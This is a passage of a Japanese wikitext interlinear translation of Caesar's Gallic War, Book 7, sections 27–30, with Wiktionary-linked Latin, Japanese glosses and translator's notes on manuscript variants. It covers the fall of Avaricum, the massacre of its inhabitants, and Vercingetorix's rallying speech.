**作戦計画を立てるために、この天候は不利ではないと思われた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:arbitratus#Participle|arbitratus]] est だが、&amp;beta;系写本では単に arbitratus となっている。）&lt;/span&gt;
*[[wikt:en:quod#Conjunction|quod]] paulo [[wikt:en:incautius#Adverb|incautius]] [[wikt:en:custodia#Latin|custodias]] in [[wikt:en:murus#Latin|muro]] [[wikt:en:dispositus#Latin|dispositas]] [[wikt:en:videbat#Latin|videbat]], 
**──というのは、城壁に配置された番兵たちが少しより油断していると見ていたからだが、──
*&lt;u&gt;suosque&lt;/u&gt; [[wikt:en:languide#Adverb|languidius]] in [[wikt:en:opus#Latin|opere]] [[wikt:en:versor#Latin|versari]] [[wikt:en:iussit#Verb|iussit]] 
**配下の者たちには&lt;small&gt;（わざと）&lt;/small&gt;より緩慢に作業に従事することを命じて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:suos#Latin|suōs]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&amp;beta;系写本では [[wikt:en:suos#Latin|suōs]] [[wikt:en:quoque#Adverb|quoque]] となっている。）&lt;/span&gt;
*et, [[wikt:en:quid#Pronoun_2|quid]] [[wikt:en:fieri#Latin|fieri]] [[wikt:en:vellet#Latin|vellet]], [[wikt:en:ostendit#Latin|ostendit]]. 
**何がなされることを&lt;small&gt;（カエサルが）&lt;/small&gt;欲しているか、を示した。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:legio#Latin|Legionibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; &lt;u&gt;extra castra intra [[wikt:en:vinea#Latin|vineas]]&lt;/u&gt; in occulto [[wikt:en:expeditus#Participle|expeditis]], 
**[[w:ローマ軍団|諸軍団]]が&lt;u&gt;陣営の外の&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の内側で&lt;/u&gt;ひそかに準備を整えており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本や校訂版によって異同がある。[[ガリア戦記_第7巻/注解/27節#注記|注記]]を参照。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_occulto#Latin|in occulto]]「ひそかに」「隠れた所で」）&lt;/span&gt;
*[[wikt:en:cohortatus#Latin|cohortatus]], ut [[wikt:en:aliquando#Latin|aliquando]] pro [[wikt:en:tantus#Latin|tantis]] [[wikt:en:labor#Latin|laboribus]] [[wikt:en:fructus#Latin:_noun|fructum]] victoriae [[wikt:en:perciperent#Latin|perciperent]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;やっと、これほどの労苦の見合う勝利の報酬を我がものとするように激励し、
*iis, qui [[wikt:en:primus#Latin|primi]] [[wikt:en:murus#Latin|murum]] [[wikt:en:adscendissent#Latin|adscendissent]], [[wikt:en:praemium#Latin|praemia]] [[wikt:en:proposuit#Latin|proposuit]] 
**一番乗りとして城壁に登った者たちには、恩賞を約束して、
*[[wikt:en:miles#Latin|militibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:signum#Latin|signum]] [[wikt:en:dedit#Latin|dedit]]. 
**兵士たちに号令を発した。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Illi [[wikt:en:subito#Adverb_8|subito]] ex omnibus partibus [[wikt:en:evolaverunt#Latin|evolaverunt]] 
**彼ら&lt;small&gt;〔ローマ軍団兵〕&lt;/small&gt;は不意にあらゆる方角から飛び出して、
*[[wikt:en:murus#Latin|murum]]&lt;nowiki&gt;que&lt;/nowiki&gt; celeriter [[wikt:en:compleverunt#Latin|compleverunt]].
**速やかに&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁を埋め尽くしたのだ。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===28節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/28節]]　{{進捗|00%|2026-08-11}}&lt;/span&gt;
;ローマ軍がアウァーリクムの市民4万人を大虐殺

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Hostes re nova [[wikt:en:perterritus#Latin|perterriti]], 
**敵たち&lt;small&gt;〔籠城するガッリア勢〕&lt;/small&gt;は新たな事態に脅かされて、
*[[wikt:en:murus#Latin|muro]] [[wikt:en:turris#Latin|turribus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:deiectus#Participle|deiecti]] 
**&lt;small&gt;（ローマ兵によって）&lt;/small&gt;城壁や櫓から追い落とされて、
*in [[wikt:en:forum#Latin|foro]] ac locis [[wikt:en:patentior#Latin|patentioribus]] [[wikt:en:cuneatim#Latin|cuneatim]] [[wikt:en:constiterunt#Etymology_1|constiterunt]], 
**&lt;ruby&gt;&lt;rb&gt;広場&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;フォルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や開けた場所に楔状に立ちふさがった。
*hoc animo, ut, si [[wikt:en:aliqui#Latin|qua]] ex parte [[wikt:en:obviam#Adverb|obviam]] &lt;span style=&quot;color:#009900;&quot;&gt;[&lt;/span&gt;contra&lt;span style=&quot;color:#009900;&quot;&gt;]&lt;/span&gt; [[wikt:en:veniretur#Latin|veniretur]], [[wikt:en:acies#Latin|acie]] [[wikt:en:instructus#Latin|instructa]] [[wikt:en:depugnarent#Latin|depugnarent]]. 
**もし、どの方向から相対して対抗して来られても、戦列を整えて決戦しようという心積もりでいたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:contra#Latin|contra]] は &amp;alpha;系･&amp;pi;系写本･写本Rにある記述だが、&lt;br&gt;　　　　　　　　写本U にはなく、削除提案されている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ubi [[wikt:en:nemo#Latin|neminem]] in aequum locum sese [[wikt:en:demitto#Latin|demittere]], sed [[wikt:en:totus#Latin:_whole|toto]] [[wikt:en:undique#Latin|undique]] [[wikt:en:murus#Latin|muro]] [[wikt:en:circumfundi#Latin|circumfundi]] [[wikt:en:viderunt#Latin|viderunt]], 
**&lt;small&gt;（ローマ兵が）&lt;/small&gt;誰も平らな所に降りて来ず、しかし城壁全体の至る所で取り囲まれたことを見たときに、
*[[wikt:en:veritus#Latin|veriti]], ne [[wikt:en:omnino#Latin|omnino]] spes fugae [[wikt:en:tolleretur#Latin|tolleretur]], 
**&lt;small&gt;（籠城ガッリア勢は）&lt;/small&gt;逃亡のあらゆる希望を奪われないかと怖れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：veriti, [[wikt:en:ne#Latin:_no|ne]] ～ 「～ではないかと恐れて」恐れの表現。）&lt;/span&gt;
*[[wikt:en:abiectus#Latin|abiectis]] [[wikt:en:arma#Latin|armis]] 
**武器を投げ捨てて、
*[[wikt:en:ultimus#Latin|ultimas]] oppidi partes 
**城塞都市の&lt;small&gt;（ローマ勢から）&lt;/small&gt;最も遠くの方面を
*[[wikt:en:continens#Latin|continenti]] [[wikt:en:impetus#Latin|impetu]] [[wikt:en:petiverunt#Latin|petiverunt]], 
**絶え間ない殺到によって求めた。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; &lt;u&gt;pars&lt;/u&gt;&lt;nowiki&gt;que&lt;/nowiki&gt; ibi, cum [[wikt:en:angustus#Latin|angusto]] [[wikt:en:exitus#Latin|exitu]] portarum se ipsi [[wikt:en:premerent#Latin|premerent]], a militibus, 
**ある者たちは、城門の狭い出口で自分らで互いに押し合っていたので、そこで&lt;small&gt;（ローマ人）&lt;/small&gt;兵士たちによって&lt;small&gt;（殺され）&lt;/small&gt;、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:pars#Latin|pars]] ～, pars …「ある者たちは～、別の者たちは…」。）&lt;/span&gt;
*&lt;u&gt;pars&lt;/u&gt; iam [[wikt:en:egressus#Latin|egressa]] portis ab [[wikt:en:eques#Latin|equitibus]] est [[wikt:en:interfectus#Latin|interfecta]]. 
**別の者たちはすでに城門を出ていたが、&lt;small&gt;（ローマ側の）&lt;/small&gt;[[w:騎兵|騎兵]]たちによって虐殺された。

:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:nec#Latin|Nec]] fuit [[wikt:en:quisquam#Pronoun|quisquam]], qui [[wikt:en:praeda#Latin|praedae]] [[wikt:en:studeret#Latin|studeret]]. 
**&lt;small&gt;（ローマ勢には）&lt;/small&gt;戦利品を熱心に求める何者もいなかった。
*[[wikt:en:sic#Latin|Sic]] et &lt;u&gt;Cenabi&lt;/u&gt; [[wikt:en:caedes#Latin|caede]] et [[wikt:en:labor#Latin|labore]] [[wikt:en:opus#Latin|operis]] [[wikt:en:incitatus#Latin|incitati]] 
**このように、ケナブムの&lt;small&gt;（ローマ市民の）&lt;/small&gt;殺害にも、（攻城）作業の労苦にも煽られて
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カルヌーテース族によるローマ市民の殺害については[[#3節|3節]]を参照。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の cenabi は、&amp;alpha;系写本では [[wikt:en:Genabi#Latin|genabi]] &lt;br&gt;　　　　　　　　　　　　　&amp;rho;系写本や写本Tでは [[wikt:en:Genabensi#Adjective|genabensi]]&lt;br&gt;　　　　　　　　　　　　　写本Uおよび写本Tの一部では cenabensi となっている。&lt;br&gt;　　　　　　　　　　　　　なお、cenabi, cenabensi はケルト語風の表記である。）&lt;/span&gt;
*non [[wikt:en:aetas#Latin|aetate]] [[wikt:en:confectus#Latin|confectis]], 
**&lt;small&gt;（ローマ勢は）&lt;/small&gt;年老いた者たちも、
*non [[wikt:en:mulier#Latin|mulieribus]], 
**妻女たちも、
*non [[wikt:en:infans#Noun|infantibus]] [[wikt:en:pepercerunt#Latin|pepercerunt]]. 
**乳幼児たちも&lt;small&gt;（虐殺することを）&lt;/small&gt;思いとどまらなかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ビトゥリゲース族はローマ市民の殺害には関与しておらず、報復される対象とするのは的外れである。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;ましてや非戦闘員である老人・女性・子供たちまで殺戮するのは、戦争の狂気というしかない。）&lt;/span&gt;

:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:denique#Latin|Denique]] ex omni &lt;u&gt;&lt;span style=&quot;color:#009900;&quot;&gt;eo&lt;/span&gt;&lt;/u&gt; numero, qui fuit circiter milium XL&lt;small&gt;&amp;nbsp;([[wikt:en:quadraginta#Latin|quadraginta]])&lt;/small&gt;, 
**ついには、約40000名もいたすべての人員のうち、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:eo#Latin:_there|eo]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*vix DCCC&lt;small&gt;&amp;nbsp;([[wikt:en:octingenti#Latin|octingenti]])&lt;/small&gt;, qui primo [[wikt:en:clamor#Latin|clamore]] [[wikt:en:auditus#Latin|audito]] se ex oppido &lt;u&gt;eiecerunt&lt;/u&gt;, 
**やっと800名が、はじめにどよめきを聞いて、城塞都市から急ぎ出て、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:eiecerunt#Latin|eiecerunt]]&lt;small&gt;&amp;nbsp;(直接法･完了)&lt;/small&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:eiecerant#Latin|eiecerant]]&lt;small&gt;&amp;nbsp;(直接法･過去完了)&lt;/small&gt; となっている。）&lt;/span&gt;
*[[wikt:en:incolumis#Latin|incolumes]] ad [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:pervenerunt#Latin|pervenerunt]]. 
**無傷のままで[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のもとへ到着した。

:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Quos ille multa iam nocte &lt;u&gt;silentio&lt;/u&gt; ex fuga [[wikt:en:excepit#Latin|excepit]], 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、逃亡して来たその者たちを、すでに夜も更けた&lt;u&gt;静寂のうちに&lt;/u&gt;迎え入れた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:silentio#Latin|silentio]] だが、&amp;beta;系写本にはない。&lt;br&gt;　　　　　　他方、&amp;beta;系写本では [[wikt:en:sic#Latin|sic]] とあるが、&amp;alpha;系写本にはない。）&lt;/span&gt;
*[[wikt:en:veritus#Latin|veritus]], ne qua in castris ex eorum [[wikt:en:concursus#Latin:_convergence|concursu]] et [[wikt:en:misericordia#Latin|misericordia]] [[wikt:en:vulgus#Latin|vulgi]] seditio &lt;u&gt;oreretur&lt;/u&gt;, 
**彼らの密集や一般兵士たちの同情から、陣営の中で何らかの暴動が生じないように怖れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne [[wikt:en:aliqui#Latin|qua (aliqua)]] ～ [[wikt:en:seditio#Latin|seditio]]「何らかの暴動が～ないように」
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、一部の写本は [[wikt:en:oreretur#Latin|oreretur]] だが、&lt;br&gt;　　　　　　　　　他の写本では [[wikt:en:oriretur#Latin|oriretur]] となっているが、語形の相違。）&lt;/span&gt;
*ut procul in via [[wikt:en:dispositus#Latin|dispositis]] [[wikt:en:familiaris#Noun|familiaribus]] suis [[wikt:en:princeps#Latin|principibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:civitas#Latin|civitatum]], 
**自らの郎党たちや部族の領袖たちを&lt;small&gt;&lt;/small&gt;（陣営の）遠くから道沿いに配置して、
*[[wikt:en:disparandus#Latin|disparandos]] [[wikt:en:deducendus#Latin|deducendos]]&lt;nowiki&gt;que&lt;/nowiki&gt; ad suos [[wikt:en:curaret#Latin|curaret]], 
**&lt;small&gt;（敗走者たちを）&lt;/small&gt;味方のもとへ、引き離して連れて行くように手配した。
*quae [[wikt:en:cuique#Latin|cuique]] civitati pars castrorum ab [[wikt:en:initium#Latin|initio]] [[wikt:en:obvenerat#Latin|obvenerat]].
**陣営の各部分は、おのおのの部族にはじめから与えられていたのだ。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===29節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/29節]]　{{進捗|00%|2026-08-11}}&lt;/span&gt;
[[画像:Vercingetorix stater CdM.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の横顔が刻まれたガリアの金貨（パリの[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部蔵）]]
;ウェルキンゲトリークスが演説で味方を鼓舞する

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Postero die [[wikt:en:concilium#Latin|concilio]] [[wikt:en:convocatus#Latin|convocato]], 
**翌日に、会合が召集されると、
*[[wikt:en:consolatus#Latin|consolatus]] [[wikt:en:cohortatus#Latin|cohortatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; est, 
**&lt;small&gt;（ウェルキンゲトリークスは、味方の者たちを）&lt;/small&gt;慰めて、励ました：
*&lt;u&gt;ne&lt;/u&gt; se [[wikt:en:admodum#Latin|admodum]] animo [[wikt:en:demitterent#Latin|demitterent]], 
**あまり気を落とさないように、
*&lt;u&gt;ne&lt;/u&gt; [[wikt:en:perturbarentur#Latin|perturbarentur]] [[wikt:en:incommodum#Latin|incommodo]]. 
**敗北により取り乱さないように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上の下線部は、&amp;alpha;系写本では [[wikt:en:ne#Latin:_no|ne]] ～ ne だが、&lt;br&gt;　　　　　　　　　　　&amp;beta;系写本では ne ～ [[wikt:en:neve#Latin|neve]] となっている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Non [[wikt:en:virtus#Latin|virtute]] neque in [[wikt:en:acies#Latin|acie]] [[wikt:en:vicisse#Latin|vicisse]] [[wikt:en:Romani#Latin|Romanos]], 
**ローマ人たちが勝ったのは、武勇においてでも、戦列&lt;small&gt;〔野外の合戦〕&lt;/small&gt;においてでもなく、
*sed [[wikt:en:artificium#Noun|artificio]] [[wikt:en:quidam#Determiner|quodam]] et [[wikt:en:scientia#Latin:_knowledge|scientia]] [[wikt:en:oppugnatio#Latin|oppugnationis]], 
**ある種の技巧および攻城戦の知識によるものであって、
*cuius rei [[wikt:en:fuerint#Latin|fuerint]] ipsi [[wikt:en:imperitus#Latin|imperiti]]. 
**その事柄に&lt;small&gt;（ガッリア人）&lt;/small&gt;自身が通じていなかったのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第5巻#42節|第5巻42節]]では、ネルウィイー族らガッリア北部のベルガエ勢はローマ人の攻城術をまねていた。）&lt;/span&gt;

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:erro#Latin:_wander|Errare]], si [[wikt:en:aliqui#Latin|qui]] in [[wikt:en:bellum#Latin|bello]] omnes [[wikt:en:secundus#Adjective|secundos]] rerum [[wikt:en:proventus#Latin|proventus]] [[wikt:en:exspectent#Latin|exspectent]]. 
**誰であれ、戦争において、万事が順調な成功になることを期待するのならば、&lt;small&gt;（その者らは）&lt;/small&gt;誤っている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：語順が判りにくいが、&lt;br&gt;　　　　物事のすべて（omnes rerum）が幸運な結果（secundos proventus）であることを期待するのならば～。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：errare の意味上の主語（[[wikt:en:eos#Latin|eos]]）が省略されている。）&lt;/span&gt;

:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Sibi [[wikt:en:numquam#Latin|numquam]] [[wikt:en:placuisse#Latin|placuisse]] [[wikt:en:Avaricum#Latin|Avaricum]] [[wikt:en:defendi#Latin|defendi]], 
**自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;にとって、アウァーリクムが防衛されることは決して好ましいものではなかった。
*cuius rei [[wikt:en:testis#Latin:_witness|testes]] ipsos [[wikt:en:haberet#Latin|haberet]]; 
**その事の証人は&lt;small&gt;（諸君ら）&lt;/small&gt;自身である。
*sed &lt;u&gt;factum&lt;/u&gt; [[wikt:en:inprudentia#Latin|inprudentia]] [[wikt:en:Bituriges#Latin|Biturigum]] et [[wikt:en:nimius#Latin|nimia]] [[wikt:en:obsequentia#Latin|obsequentia]] reliquorum, &lt;u&gt;uti&lt;/u&gt; hoc [[wikt:en:incommodum#Latin|incommodum]] [[wikt:en:acciperetur#Latin|acciperetur]].
**だが、ビトゥリゲース族の軽率さと、ほかの者たちの過度な同調により、この敗北を蒙るようになったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:factus#Latin:_done|factum]] (esse) ～ [[wikt:en:uti#Latin:_how|uti]] …「…ようになった」）&lt;/span&gt;

:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Id tamen se celeriter [[wikt:en:maior#Adjective_2|maioribus]] [[wikt:en:commodum#Latin:noun|commodis]] [[wikt:en:sanaturus#Latin|sanaturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;. 
**しかしながら、自分がそれ&lt;small&gt;〔敗北〕&lt;/small&gt;を速やかに大いなる勝利によって埋め合わせるであろう。

:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Nam quae ab reliquis [[wikt:en:Galli#Latin:_Gauls|Gallis]] civitates [[wikt:en:dissentirent#Latin|dissentirent]], 
**一方、&lt;small&gt;（ウェルキンゲトリークスら）&lt;/small&gt;ほかのガッリア人たちとは意見を相異する諸部族、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：先行詞 [[wikt:en:civitas#Latin|civitates]] が quae 以下の関係文中に入り込む倒置の語順。）&lt;/span&gt;
*has sua [[wikt:en:diligentia#Noun|diligentia]] [[wikt:en:adiuncturus#Latin|adiuncturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;
**彼ら&lt;small&gt;〔諸部族〕&lt;/small&gt;を自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の入念さにより合流させるであろうし、
*atque unum [[wikt:en:consilium#Latin|consilium]] [[wikt:en:totus#Latin:_whole|totius]] [[wikt:en:Gallia#Latin|Galliae]] [[wikt:en:effecturus#Latin|effecturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;, 
**全ガッリアの考えを一つにするであろう。
*cuius [[wikt:en:consensus#Latin|consensui]] ne orbis quidem terrarum [[wikt:en:possit#Latin|possit]] [[wikt:en:obsistere#Latin|obsistere]]; 
**その団結には、全世界でさえ邪魔することはできない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:orbis#Latin|orbis]] [[wikt:en:/terrarum#Latin|terrarum]]「全世界」）&lt;/span&gt;
*[[wikt:en:id#Latin|id]]&lt;nowiki&gt;que&lt;/nowiki&gt; se [[wikt:en:prope#Adverb|prope]] iam [[wikt:en:effectus#Latin:_participle|effectum]] habere. 
**それを自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、ほとんどすでに成し遂げたと思う。

:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:interea#Latin|Interea]] [[wikt:en:aequus#Latin|aequum]] esse ab iis [[wikt:en:communis#Latin|communis]] [[wikt:en:salus#Latin|salutis]] causa [[wikt:en:impetrari#Latin|impetrari]], 
**その間に&lt;small&gt;（ガッリアの）&lt;/small&gt;共通の安全のために、彼ら&lt;small&gt;〔ガッリア人〕&lt;/small&gt;によって&lt;small&gt;（以下のように）&lt;/small&gt;達成されることが好都合である。
*ut castra [[wikt:en:munio#Latin|munire]] [[wikt:en:instituerent#Latin|instituerent]], 
**陣営を防御することを実施するように、
*[[wikt:en:quo#Latin:_where|quo]] [[wikt:en:facilius#Latin|facilius]] [[wikt:en:repentinus#Latin|repentinos]] hostium [[wikt:en:impetus#Latin|impetus]] &lt;u&gt;sustinerent&lt;/u&gt;.
**それにより、敵たち&lt;small&gt;〔ローマ人〕&lt;/small&gt;の予期せぬ襲撃に対して、より容易に持ちこたえられるように。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:sustinerent#Latin|sustinerent]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:sustinere#Latin|sustinere]] [[wikt:en:possent#Latin|possent]] となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===30節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/30節]]　{{進捗|00%|2026-08-29}}&lt;/span&gt;
;ガッリア勢がウェルキンゲトリークスに心服し、希望を抱く

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Fuit haec [[wikt:en:oratio#Latin|oratio]] non [[wikt:en:ingratus#Latin|ingrata]] [[wikt:en:Galli#Latin:_Gauls|Gallis]], 
**この演説は、ガッリア人たちにとっては不快なものではなかった。
*et maxime, quod ipse animo non [[wikt:en:defecerat#Latin|defecerat]], [[wikt:en:tantus#Latin|tanto]] [[wikt:en:acceptus#Latin|accepto]] [[wikt:en:incommodum#Latin|incommodo]], 
**──というのは、とりわけ&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自身がこれほどの敗北を蒙っても意気消沈することなく、
*neque &lt;u&gt;se&lt;/u&gt; [[wikt:en:in_occultum#Latin|in occultum]] [[wikt:en:abdiderat#Latin|abdiderat]] 
**秘密の場所に身を隠したり、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の再帰代名詞 se は 最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|''ed. pr.'']] で挿入されたもので、主要写本 &amp;omega; にはない。）&lt;/span&gt;
*et [[wikt:en:conspectus#Latin:_noun|conspectum]] [[wikt:en:multitudo#Latin|multitudinis]] [[wikt:en:fugerat#Latin|fugerat]]&lt;!--,--&gt;; 
**大勢の見ているところを避けたりしなかったからである──。

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:plus#Latin:_adverb|plus]]&lt;nowiki&gt;que&lt;/nowiki&gt; animo [[wikt:en:provideo#Latin|providere]] et [[wikt:en:praesentio#Latin|praesentire]] [[wikt:en:existimabatur#Latin|existimabatur]], 
**&lt;small&gt;（ウェルキンゲトリークスは他の者よりも）&lt;/small&gt;より先見の明があり、予感していると考えられていた。
*quod re [[wikt:en:integer#Latin|integra]] 
**──というのは、事態が手つかずのままで、
*[[wikt:en:primo#Latin:_adverb|primo]] [[wikt:en:incendendus#Latin|incendendum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; [[wikt:en:Avaricum#Latin|Avaricum]], 
**当初はアウァーリクムが焼き払われるべきだと&lt;small&gt;（主張し）&lt;/small&gt;、
*post [[wikt:en:deserendus#Latin|deserendum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;, [[wikt:en:censuerat#Latin|censuerat]]. 
**後には&lt;small&gt;（アウァーリクムは）&lt;/small&gt;放棄されるべきだ、と主張していたからだ──。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:itaque#Latin|Itaque]] &lt;u&gt;ut&lt;/u&gt; [[wikt:en:reliquus#Latin|reliquorum]] [[wikt:en:imperator#Latin|imperatorum]] res adversae [[wikt:en:auctoritas#Latin|auctoritatem]] [[wikt:en:minuunt#Latin|minuunt]], 
**それゆえに、逆境がほかの将軍たちの影響力を減ずる一方で、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ut#Conjunction|ut]] ～, [[wikt:en:sic#Latin|sic]] …「～であるように、同様に…」あるいは「～である一方で、…」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:res#Latin|res]] [[wikt:en:adversus#Participle|adversae]]「逆境、（戦争における）敗北」。）&lt;/span&gt;
*&lt;u&gt;sic&lt;/u&gt; huius &lt;u&gt;ex contrario&lt;/u&gt; [[wikt:en:dignitas#Latin|dignitas]] &lt;u&gt;incommodo&lt;/u&gt; [[wikt:en:acceptus#Latin|accepto]] &lt;u&gt;in dies&lt;/u&gt; [[wikt:en:augebatur#Latin|augebatur]]. 
**それどころか、彼の威厳は、災難を蒙っても、日ごとに高まっていたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ex_contrario#Latin|ex contrario]]「それどころか」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:incommodum#Latin|incommodum]]「不運、災難、（戦争における）敗北」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_dies#Latin|in dies]]「日に日に」「日ごとに」。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:simul#Latin|Simul]] &lt;u&gt;in spem [[wikt:en:veniebant#Latin|veniebant]]&lt;/u&gt; eius [[wikt:en:adfirmatio#Latin|adfirmatione]] de reliquis [[wikt:en:adiungendus#Latin|adiungendis]] [[wikt:en:civitas#Latin|civitatibus]]; 
